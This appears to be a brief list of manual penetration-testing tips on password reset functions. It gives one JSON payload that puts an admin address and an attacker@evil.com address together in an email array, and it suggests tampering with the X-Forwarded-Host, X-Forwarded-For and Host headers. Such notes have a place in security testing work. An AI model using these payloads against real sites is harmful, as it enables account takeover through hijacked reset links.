Manual Testing Tips Password Reset: try array like {"email_address":["admin@breadcrumb.com","attacker@evil.com"]} Password Reset: try change/add X-Forwarded-Host/X-Forwarded-For/Host header